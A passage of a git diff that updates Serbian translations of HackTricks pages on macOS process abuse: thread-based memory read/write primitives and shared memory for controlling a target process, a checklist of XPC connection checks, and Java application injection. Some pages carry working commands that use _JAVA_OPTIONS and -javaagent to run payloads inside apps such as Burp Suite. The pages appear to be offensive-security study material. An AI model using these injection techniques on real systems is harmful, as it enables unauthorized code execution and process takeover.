udaljenoj niti se poziva `mach_port_insert_right()` da bi se uspostavilo pravo slanja. Ovo pravo se zatim smešta u kernel pomoću `thread_set_special_port()`. U lokalnom zadatku se zatim koristi `thread_get_special_port()` na udaljenoj niti da bi se dobilo pravo slanja na novo dodeljeni Mach port u udaljenom zadatku. +Za udaljeni port, proces je suštinski obrnut. Udaljenoj niti se naređuje da generiše Mach port putem `mach_reply_port()` (jer `mach_port_allocate()` nije prikladan zbog svog mehanizma vraćanja). Nakon kreiranja porta, `mach_port_insert_right()` se poziva u udaljenoj niti da bi se uspostavilo pravo slanja. Ovo pravo se zatim čuva u kernelu koristeći `thread_set_special_port()`. Ponovo u lokalnom tasku, `thread_get_special_port()` se koristi na udaljenoj niti da bi se steklo pravo slanja na novokreirani Mach port u udaljenom tasku. -Završetak ovih koraka rezultira uspostavljanjem Mach portova, postavljajući osnovu za dvosmernu komunikaciju. +Završetak ovih koraka rezultira uspostavljanjem Mach portova, postavljajući temelje za dvosmernu komunikaciju. -## 3. Osnovni primitivi za čitanje/pisanje memorije +## 3. Basic Memory Read/Write Primitives -U ovoj sekciji fokus je na korišćenju izvršnog primitiva za uspostavljanje osnovnih primitiva za čitanje i pisanje memorije. Ovi početni koraci su ključni za dobijanje veće kontrole nad udaljenim procesom, iako primitivi u ovoj fazi neće služiti mnogo svrsi. Uskoro će biti nadograđeni na naprednije verzije. +U ovom odeljku, fokus je na korišćenju izvršnog primitiva za uspostavljanje osnovnih primitiva za čitanje i pisanje u memoriju. Ovi inicijalni koraci su ključni za sticanje veće kontrole nad udaljenim procesom, iako primitivi u ovoj fazi neće služiti mnogim svrhama. Ubrzo će biti unapređeni na naprednije verzije. -### Čitanje i pisanje memorije korišćenjem izvršnog primitiva +### Memory Reading and Writing Using Execute Primitive -Cilj je izvršiti čitanje i pisanje memorije koristeći određene funkcije. Za čitanje memorije koriste se funkcije slične sledećoj strukturi: +Cilj je izvršiti čitanje i pisanje u memoriju koristeći specifične funkcije. Za čitanje memorije koriste se funkcije koje podsećaju na sledeću strukturu: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -I za pisanje u memoriju, koriste se funkcije slične ovoj strukturi: +I za pisanje u memoriju koriste se funkcije slične ovoj strukturi: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Ove funkcije odgovaraju datim sklopovskim instrukcijama: +Ove funkcije odgovaraju datim asembler instrukcijama: ``` _read_func: ldr x0, [x0] @@ -71,57 +72,57 @@ _write_func: str x1, [x0] ret ``` -### Identifikacija odgovarajućih funkcija +### Identifying Suitable Functions -Skeniranje uobičajenih biblioteka otkrilo je odgovarajuće kandidate za ove operacije: +Skeneranje uobičajenih biblioteka otkrilo je odgovarajuće kandidate za ove operacije: -1. **Čitanje memorije:** -Funkcija `property_getName()` iz [Objective-C runtime biblioteke](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) identifikovana je kao odgovarajuća funkcija za čitanje memorije. Funkcija je prikazana ispod: +1. **Reading Memory:** +Funkcija `property_getName()` iz [Objective-C runtime biblioteke](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) je identifikovana kao pogodna funkcija za čitanje memorije. Funkcija je opisana u nastavku: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -Ova funkcija efektivno deluje kao `read_func` vraćajući prvo polje `objc_property_t`. +Ova funkcija efikasno deluje kao `read_func` vraćajući prvo polje `objc_property_t`. -2. **Pisanje u memoriju:** -Pronalaženje prethodno izgrađene funkcije za pisanje u memoriju je izazovnije. Međutim, funkcija `_xpc_int64_set_value()` iz libxpc je odgovarajući kandidat sa sledećim rastavljanjem: +2. **Pisanje u Memoriju:** +Pronalaženje unapred izgrađene funkcije za pisanje u memoriju je izazovnije. Međutim, funkcija `_xpc_int64_set_value()` iz libxpc je pogodan kandidat sa sledećom disasembly: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Da biste izvršili 64-bitni upis na određenoj adresi, udaljeni poziv je strukturiran na sledeći način: +Da biste izvršili 64-bitno pisanje na specifičnu adresu, dalji poziv se strukturira kao: ```c _xpc_int64_set_value(address - 0x18, value) ``` -Sa ovim osnovama postavljenim, stvorena je osnova za stvaranje deljene memorije, što predstavlja značajan napredak u kontroli udaljenog procesa. +Sa ovim postavljenim osnovama, scena je postavljena za kreiranje deljene memorije, što predstavlja značajan napredak u kontroli udaljenog procesa. -## 4. Postavljanje deljene memorije +## 4. Postavljanje Deljene Memorije -Cilj je uspostaviti deljenu memoriju između lokalnih i udaljenih zadataka, olakšavajući prenos podataka i omogućavajući pozivanje funkcija sa više argumenata. Pristup uključuje korišćenje `libxpc` i njenog objekta tipa `OS_xpc_shmem`, koji se zasniva na unosima memorije Mach. +Cilj je uspostaviti deljenu memoriju između lokalnih i udaljenih zadataka, pojednostavljujući prenos podataka i olakšavajući pozivanje funkcija sa više argumenata. Pristup uključuje korišćenje `libxpc` i njegovog `OS_xpc_shmem` tipa objekta, koji se zasniva na Mach memorijskim unosima. -### Pregled procesa: +### Pregled Procesa: -1. **Alokacija memorije**: -- Alokacija memorije za deljenje korišćenjem `mach_vm_allocate()`. -- Korišćenje `xpc_shmem_create()` za kreiranje objekta `OS_xpc_shmem` za alocirani region memorije. Ova funkcija će upravljati kreiranjem unosa memorije Mach i čuvati Mach send pravo na offsetu `0x18` objekta `OS_xpc_shmem`. +1. **Alokacija Memorije**: +- Alocirajte memoriju za deljenje koristeći `mach_vm_allocate()`. +- Koristite `xpc_shmem_create()` za kreiranje `OS_xpc_shmem` objekta za alociranu memorijsku oblast. Ova funkcija će upravljati kreiranjem Mach memorijskog unosa i čuvati Mach pravo slanja na offsetu `0x18` objekta `OS_xpc_shmem`. -2. **Kreiranje deljene memorije u udaljenom procesu**: -- Alokacija memorije za objekat `OS_xpc_shmem` u udaljenom procesu pomoću udaljenog poziva `malloc()`. -- Kopiranje sadržaja lokalnog objekta `OS_xpc_shmem` u udaljeni proces. Međutim, ova početna kopija će imati netačna imena unosa memorije Mach na offsetu `0x18`. +2. **Kreiranje Deljene Memorije u Udaljenom Procesu**: +- Alocirajte memoriju za `OS_xpc_shmem` objekat u udaljenom procesu sa udaljenim pozivom na `malloc()`. +- Kopirajte sadržaj lokalnog `OS_xpc_shmem` objekta u udaljeni proces. Međutim, ova inicijalna kopija će imati netačne nazive Mach memorijskih unosa na offsetu `0x18`. -3. **Ispravljanje unosa memorije Mach**: -- Koristite metodu `thread_set_special_port()` za umetanje send prava za unos memorije Mach u udaljeni zadatak. -- Ispravite polje unosa memorije Mach na offsetu `0x18` tako što ćete ga prepisati imenom unosa memorije udaljenog zadatka. +3. **Ispravljanje Mach Memorijskog Unosa**: +- Iskoristite metodu `thread_set_special_port()` da umetnete pravo slanja za Mach memorijski unos u udaljeni zadatak. +- Ispravite polje Mach memorijskog unosa na offsetu `0x18` prepisivanjem sa imenom udaljenog memorijskog unosa. -4. **Završno postavljanje deljene memorije**: -- Validirajte udaljeni objekat `OS_xpc_shmem`. -- Ustanovite mapiranje deljene memorije pomoću udaljenog poziva `xpc_shmem_remote()`. +4. **Finalizacija Postavljanja Deljene Memorije**: +- Validirajte udaljeni `OS_xpc_shmem` objekat. +- Uspostavite mapiranje deljene memorije sa udaljenim pozivom na `xpc_shmem_remote()`. -Prateći ove korake, deljena memorija između lokalnih i udaljenih zadataka će biti efikasno postavljena, omogućavajući jednostavan prenos podataka i izvršavanje funkcija koje zahtevaju više argumenata. +Prateći ove korake, deljena memorija između lokalnih i udaljenih zadataka biće efikasno postavljena, omogućavajući jednostavne prenose podataka i izvršavanje funkcija koje zahtevaju više argumenata. -## Dodatni isečci koda +## Dodatni Kodni Isječci Za alokaciju memorije i kreiranje objekta deljene memorije: ```c @@ -133,47 +134,48 @@ Za kreiranje i ispravljanje objekta deljene memorije u udaljenom procesu: malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Zapamtite da pravilno rukujete detaljima Mach portova i imenima memorijskih unosa kako biste osigurali ispravno funkcionisanje podele deljene memorije. +Zapamtite da pravilno obradite detalje Mach portova i imena ulaza u memoriju kako biste osigurali da podešavanje deljene memorije funkcioniše ispravno. -## 5. Postizanje potpune kontrole +## 5. Postizanje Potpunog Kontrola -Nakon uspešnog uspostavljanja deljene memorije i sticanja proizvoljnih izvršnih mogućnosti, suštinski smo stekli potpunu kontrolu nad ciljnim procesom. Ključne funkcionalnosti koje omogućavaju ovu kontrolu su: +Nakon uspešnog uspostavljanja deljene memorije i sticanja sposobnosti proizvoljnog izvršavanja, suštinski smo stekli potpunu kontrolu nad ciljnim procesom. Ključne funkcionalnosti koje omogućavaju ovu kontrolu su: -1. **Proizvoljne operacije nad memorijom**: -- Izvršite proizvoljno čitanje memorije pozivanjem `memcpy()` funkcije za kopiranje podataka iz deljenog regiona. -- Izvršite proizvoljno pisanje memorije koristeći `memcpy()` funkciju za prenos podataka u deljeni region. +1. **Proizvoljne Operacije sa Memorijom**: +- Izvršite proizvoljna čitanja iz memorije pozivajući `memcpy()` da kopira podatke iz deljene oblasti. +- Izvršite proizvoljna pisanja u memoriju koristeći `memcpy()` za prenos podataka u deljenu oblast. -2. **Rukovanje pozivima funkcija sa više argumenata**: +2. **Obrada Poziva Funkcija sa Više Argumenta**: - Za funkcije koje zahtevaju više od 8 argumenata, rasporedite dodatne argumente na steku u skladu sa konvencijom pozivanja. -3. **Prenos Mach portova**: -- Prenosite Mach portove između zadataka putem Mach poruka putem prethodno uspostavljenih portova. +3. **Prenos Mach Portova**: +- Prenesite Mach portove između zadataka putem Mach poruka preko prethodno uspostavljenih portova. -4. **Prenos deskriptora fajlova**: -- Prenosite deskriptore fajlova između procesa koristeći fileportove, tehniku istaknutu od strane Iana Beera u `triple_fetch`. +4. **Prenos Fajl Deskriptora**: +- Prenesite fajl deskriptore između procesa koristeći fileports, tehniku koju je istakao Ian Beer u `triple_fetch`. -Ova sveobuhvatna kontrola je obuhvaćena bibliotekom [threadexec](https://github.com/bazad/threadexec), koja pruža detaljnu implementaciju i korisnički prijateljski API za interakciju sa ciljnim procesom. +Ova sveobuhvatna kontrola je obuhvaćena unutar [threadexec](https://github.com/bazad/threadexec) biblioteke, koja pruža detaljnu implementaciju i korisnički prijateljski API za interakciju sa procesom žrtve. -## Važne razmatranja: +## Važne Napomene: -- Obezbedite pravilnu upotrebu `memcpy()` funkcije za operacije čitanja/pisanja memorije kako biste održali stabilnost sistema i integritet podataka. -- Prilikom prenosa Mach portova ili deskriptora fajlova, pratite odgovarajuće protokole i odgovorno rukujte resursima kako biste sprečili curenje ili neželjeni pristup. +- Osigurajte pravilnu upotrebu `memcpy()` za operacije čitanja/pisanja u memoriju kako biste održali stabilnost sistema i integritet podataka. +- Prilikom prenosa Mach portova ili fajl deskriptora, pridržavajte se pravilnih protokola i odgovorno rukujte resursima kako biste sprečili curenje ili nepredviđeni pristup. -Prateći ove smernice i koristeći biblioteku `threadexec`, možete efikasno upravljati i interagovati sa procesima na detaljnom nivou, postižući potpunu kontrolu nad ciljnim procesom. +Pridržavanjem ovih smernica i korišćenjem `threadexec` biblioteke, može se efikasno upravljati i interagovati sa procesima na granularnom nivou, postižući potpunu kontrolu nad ciljnim procesom. ## Reference * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 9327c73cf..23e53bb6f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,60 +1,61 @@ -# Provera povezivanja procesa u macOS XPC-u +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Provera povezivanja procesa u XPC-u +## XPC Connecting Process Check -Kada se uspostavi veza sa XPC servisom, server će proveriti da li je veza dozvoljena. Ovo su provere koje obično vrši: +Kada se uspostavi veza sa XPC servisom, server će proveriti da li je veza dozvoljena. Ovo su provere koje bi obično izvršio: -1. Provera da li je povezani **proces potpisan Apple-ovim** sertifikatom (koji se dodeljuje samo od strane Apple-a). -* Ako ovo **nije verifikovano**, napadač može kreirati **lažni sertifikat** koji odgovara bilo kojoj drugoj proveri. -2. Provera da li je povezani proces potpisan **sertifikatom organizacije** (verifikacija ID-a tima). -* Ako ovo **nije verifikovano**, **bilo koji razvojni sertifikat** od Apple-a može se koristiti za potpisivanje i povezivanje sa servisom. -3. Provera da li povezani proces **sadrži odgovarajući bundle ID**. -* Ako ovo **nije verifikovano**, bilo koji alat **potpisan od iste organizacije** može se koristiti za interakciju sa XPC servisom. -4. (4 ili 5) Provera da li povezani proces ima **odgovarajući broj verzije softvera**. -* Ako ovo **nije verifikovano**, stari, nesigurni klijenti koji su podložni ubacivanju procesa mogu se koristiti za povezivanje sa XPC servisom čak i uz ostale provere. -5. (4 ili 5) Provera da li povezani proces ima ojačano izvršavanje sa opasnim privilegijama (poput onih koje omogućavaju učitavanje proizvoljnih biblioteka ili korišćenje DYLD env varijabli). -1. Ako ovo **nije verifikovano**, klijent može biti **podložan ubacivanju koda**. -6. Provera da li povezani proces ima **privilegiju** koja mu omogućava povezivanje sa servisom. Ovo se odnosi na Apple binarne fajlove. -7. **Verifikacija** se mora **bazirati** na **audit token-u klijenta** koji se povezuje, **umesto** na njegovom ID-u procesa (**PID**) jer prvo sprečava **napade ponovnom upotrebom PID-a**. -* Razvojni programeri **retko koriste** API poziv za audit token jer je **privatan**, pa Apple može **promeniti** to u bilo kom trenutku. Takođe, korišćenje privatnih API-ja nije dozvoljeno u aplikacijama Mac App Store-a. -* Ako se koristi metoda **`processIdentifier`**, može biti ranjiva -* Treba koristiti **`xpc_dictionary_get_audit_token`** umesto **`xpc_connection_get_audit_token`**, jer poslednja može biti [ranjiva u određenim situacijama](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. Proveri da li je **proces koji se povezuje potpisan Apple-ovim** sertifikatom (samo ga Apple izdaje). +* Ako ovo **nije verifikovano**, napadač bi mogao da kreira **lažni sertifikat** koji bi odgovarao bilo kojoj drugoj proveri. +2. Proveri da li je proces koji se povezuje potpisan **sertifikatom organizacije** (verifikacija tim ID-a). +* Ako ovo **nije verifikovano**, **bilo koji developerski sertifikat** od Apple-a može se koristiti za potpisivanje i povezivanje sa servisom. +3. Proveri da li proces koji se povezuje **sadrži odgovarajući bundle ID**. +* Ako ovo **nije verifikovano**, bilo koji alat **potpisan od iste organizacije** mogao bi se koristiti za interakciju sa XPC servisom. +4. (4 ili 5) Proveri da li proces koji se povezuje ima **odgovarajući broj verzije softvera**. +* Ako ovo **nije verifikovano**, stari, nesigurni klijenti, ranjivi na injekciju procesa mogli bi se koristiti za povezivanje sa XPC servisom čak i uz druge provere. +5. (4 ili 5) Proveri da li proces koji se povezuje ima ojačanu runtime bez opasnih prava (kao što su ona koja omogućavaju učitavanje proizvoljnih biblioteka ili korišćenje DYLD env varijabli). +* Ako ovo **nije verifikovano**, klijent bi mogao biti **ranjiv na injekciju koda**. +6. Proveri da li proces koji se povezuje ima **pravo** koje mu omogućava povezivanje sa servisom. Ovo se primenjuje na Apple binarne datoteke. +7. **Verifikacija** mora biti **zasnovana** na **audit token-u klijenta** **umesto** na njegovom ID-u procesa (**PID**) jer prvi sprečava **napade ponovne upotrebe PID-a**. +* Programeri **retko koriste audit token** API poziv jer je **privatan**, tako da Apple može **promeniti** u bilo kojem trenutku. Pored toga, korišćenje privatnog API-ja nije dozvoljeno u aplikacijama Mac App Store-a. +* Ako se koristi metoda **`processIdentifier`**, može biti ranjiva. +* **`xpc_dictionary_get_audit_token`** treba koristiti umesto **`xpc_connection_get_audit_token`**, jer bi poslednji mogao biti [ranjiv u određenim situacijama](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### Napadi na komunikaciju +### Communication Attacks -Za više informacija o napadu ponovnom upotrebom PID-a pogledajte: +Za više informacija o napadu ponovne upotrebe PID-a proverite: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -Za više informacija o napadu **`xpc_connection_get_audit_token`** pogledajte: +Za više informacija o napadu **`xpc_connection_get_audit_token`** proverite: {% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Prevencija napada na Trustcache - Downgrade +### Trustcache - Downgrade Attacks Prevention -Trustcache je defanzivna metoda koja je uvedena u Apple Silicon mašinama i čuva bazu podataka CDHSAH Apple binarnih fajlova, tako da se mogu izvršavati samo dozvoljeni, nepromenjeni binarni fajlovi. Ovo sprečava izvršavanje verzija sa nižim nivoom sigurnosti. +Trustcache je odbrambena metoda uvedena u Apple Silicon mašinama koja čuva bazu podataka CDHSAH Apple binarnih datoteka tako da samo dozvoljene neizmenjene binarne datoteke mogu biti izvršene. Što sprečava izvršavanje verzija sa smanjenim nivoom. -### Primeri koda +### Code Examples -Server će implementirati ovu **verifikaciju** u funkciji nazvanoj **`shouldAcceptNewConnection`**. +Server će implementirati ovu **verifikaciju** u funkciji pod nazivom **`shouldAcceptNewConnection`**. {% code overflow="wrap" %} ```objectivec @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -Objekat NSXPCConnection ima **privatno** svojstvo **`auditToken`** (ono koje treba koristiti, ali se može promeniti) i **javno** svojstvo **`processIdentifier`** (ono koje ne treba koristiti). +Objekat NSXPCConnection ima **privatnu** osobinu **`auditToken`** (onu koja bi trebala da se koristi, ali može da se promeni) i **javnu** osobinu **`processIdentifier`** (onu koja ne bi trebala da se koristi). -Povezani proces može se proveriti na sledeći način: +Povezani proces može se verifikovati sa nečim poput: {% code overflow="wrap" %} ```objectivec @@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -Ako programer ne želi da proverava verziju klijenta, on može barem proveriti da klijent nije podložan ubacivanju procesa: +Ako programer ne želi da proveri verziju klijenta, mogao bi da proveri da klijent nije podložan injekciji procesa barem: {% code overflow="wrap" %} ```objectivec @@ -110,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index b369edd82..3f1aedf7e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# Ubacivanje Java aplikacija u macOS +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Enumeracija +## Enumeration -Pronađite Java aplikacije instalirane na vašem sistemu. Primećeno je da Java aplikacije u **Info.plist** sadrže neke Java parametre koji sadrže string **`java.`**, pa možete pretražiti to: +Pronađite Java aplikacije instalirane na vašem sistemu. Primećeno je da Java aplikacije u **Info.plist** sadrže neke java parametre koji sadrže string **`java.`**, tako da možete pretraživati za tim: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,7 +27,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -Promenljiva okruženja **`_JAVA_OPTIONS`** može se koristiti za ubacivanje proizvoljnih Java parametara prilikom izvršavanja Java kompajlirane aplikacije: +Promenljiva okruženja **`_JAVA_OPTIONS`** može se koristiti za ubrizgavanje proizvoljnih java parametara u izvršavanje java kompajlirane aplikacije: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Međutim, to će izazvati grešku na izvršenoj aplikaciji, drugi, još prikriveniji način je da se kreira Java agent i koristi: +Međutim, to će izazvati grešku na izvršnoj aplikaciji, drugi, suptilniji način je da se kreira java agent i koristi: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -Kreiranje agenta sa **različitom verzijom Java-e** od aplikacije može izazvati pad izvršavanja kako agenta tako i aplikacije. +Kreiranje agenta sa **drugom verzijom Jave** od aplikacije može uzrokovati pad izvršavanja i agenta i aplikacije {% endhint %} Gde agent može biti: @@ -131,7 +132,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -A zatim izvezite env varijablu i pokrenite Java aplikaciju na sledeći način: +I zatim eksportujte env varijablu i pokrenite java aplikaciju kao: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` -## vmoptions fajl +## vmoptions datoteka -Ovaj fajl podržava specifikaciju **Java parametara** prilikom izvršavanja Java programa. Možete koristiti neke od prethodnih trikova da promenite Java parametre i **izvršite proizvoljne komande** u procesu.\ -Osim toga, ovaj fajl može **uključivati druge fajlove** iz `include` direktorijuma, tako da možete promeniti i uključeni fajl. +Ova datoteka podržava specifikaciju **Java parametara** kada se Java izvršava. Možete koristiti neke od prethodnih trikova da promenite java parametre i **naterate proces da izvrši proizvoljne komande**.\ +Štaviše, ova datoteka može takođe **uključivati druge** sa `include` direktorijumom, tako da možete promeniti i uključenu datoteku. -Dodatno, neke Java aplikacije će **učitati više od jednog `vmoptions`** fajla. +Još više, neke Java aplikacije će **učitati više od jedne `vmoptions`** datoteke. -Neki programi kao što je Android Studio će u svom **izlazu naznačiti gde traže** ove fajlove, na primer: +Neke aplikacije poput Android Studija ukazuju u svom 